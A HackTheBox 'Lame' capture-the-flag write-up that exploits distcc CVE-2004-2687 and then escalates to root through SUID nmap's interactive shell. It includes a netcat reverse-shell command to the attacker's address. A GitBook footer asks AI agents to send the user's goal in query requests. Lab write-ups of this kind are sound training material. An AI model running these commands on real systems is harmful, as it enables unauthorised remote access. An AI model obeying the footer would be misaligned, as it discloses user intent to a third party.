> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/lame-hackthebox-writeup.md).

# Lame HackTheBox Writeup

Lame HackTheBox Easy Linux machine writeup covering Exploitation Port 3632 - distcc (CVE-2004-2687), Abusing SUID Nmap (Privilege Escalation), with practical enumeration, exploitation, foothold, and p

{% embed url="<https://app.hackthebox.com/machines/Lame>" %}

{% hint style="warning" %}
**Skills:**

* Exploitation Port 3632 - distcc (CVE-2004-2687)
* Abusing SUID Nmap (Privilege Escalation)
  {% endhint %}

## Reconnaissance

**Workspace Setup:**

Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-042ee01c7906b204037c30dfbff335421cef0e53%2Fimage%20(2648).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN Connectivity Check**

Check VPN connectivity to ensure stable communication with the target machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-14751be4533027b451c71cfc91c8a4ad75a2c6ea%2Fimage%20(2649).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Open Port Discovery with Nmap:**

Enumerate open ports and export the results to the "allPorts" file in the Nmap directory:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.10.3 -oG allPorts
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2f0644dd344075a0b2a6d5c9b5ca7b2154f52aa9%2Fimage%20(2650).png?alt=media" alt=""><figcaption></figcaption></figure>

**Open Port Analysis with extractPorts:**

Use the extractPorts function to display open ports in a concise format and copy them to the clipboard.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-97e8f7f7a702bccd6c60a7f445554f4d8afb5c3e%2Fimage%20(2651).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Port Version Scan with Nmap:**

Use Nmap to scan service versions and save the output in the "targeted" file:

```bash
nmap -sCV -p21,22,139,445,3632 10.10.10.3 -oN targeted
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-beed18cb1e7d6c7b7ffbb18862adabdb54de3b98%2Fimage%20(2652).png?alt=media" alt=""><figcaption></figcaption></figure>

### Port 3632 - distccd

> Distcc is a tool for speeding up the compilation process by using unused resources of other computers on the network. When configured on a machine, it can distribute its compilation tasks to other systems running the distccd daemon and having a compatible compiler.

#### Vulnerability identified

Version 4.2.4 of distccd listens on port 3632 and is vulnerable to CVE-2004-2687. This vulnerability allows an attacker to execute arbitrary commands with the privileges of the user the daemon is running under (often an unprivileged user, but this can vary depending on configuration).

#### Vulnerability Check

To confirm the presence of the vulnerability, we use the following Nmap script:

```bash
nmap -p 3632 10.10.10.3 --script distcc-cve2004-2687
```

The result indicates that the server is indeed vulnerable.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3675ccfd36b571bfb3a30a5e599f748f3b6cdba1%2Fimage%20(2654).png?alt=media" alt=""><figcaption></figcaption></figure>

### Exploitation

#### Running a Python script

To exploit the vulnerability, we use the following Python script:

{% embed url="<https://github.com/angelpimentell/distcc_cve_2004-2687_exploit>" %}

```bash
python3 main.py -i 10.10.10.3 -p 3632
```

This allows us to execute arbitrary commands on the target machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bc7a58a72bb92269108af431d922b36bb1fd1f97%2Fimage%20(2655).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Running a reverse shell

We listen on port 443:

```bash
nc -nlvp 443
```

We run the following command from the target machine to establish the connection:

```bash
nc 10.10.14.26 443 -e /bin/bash
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7e26a8938b653ee7b404d6af0ee924edd4edc60b%2Fimage%20(2656).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Terminal Handling

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Flag user.txt :)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-87cde28a6d1f5bb27d3edd850bc36e200d565610%2Fimage%20(2657).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## Privilege Escalation

### SUID - Nmap

#### Finding SUID files

We search for files with the SUID bit enabled using the following command:

```bash
find / -perm -4000 2>/dev/null
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-768880ffb69a9b46634b59b8b4b0f097504dcdbe%2Fimage%20(886).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Nmap identification

Among the files listed we find **Nmap**.

#### Exploitation

Nmap can be used interactively to run commands as root. Here are the steps:

Launch Nmap in interactive mode:

```bash
nmap --interactive
```

Run commands as root, for example:

```bash
!whoami
```

This prints "root".

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8859120fd63b09ee23f12c2098d0adc64cf1f855%2Fimage%20(887).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Get a root shell:

```bash
!sh
```

Once in the root shell, access the **root.txt** file to retrieve the flag.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-eb11168522be7bfddf7cc8a03df508b801a6d843%2Fimage%20(888).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-298b22537df2d88383b6fb6ae3884e8c93fd4eb3%2Fimage%20(889).png?alt=media" alt="" width="488"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/lame-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
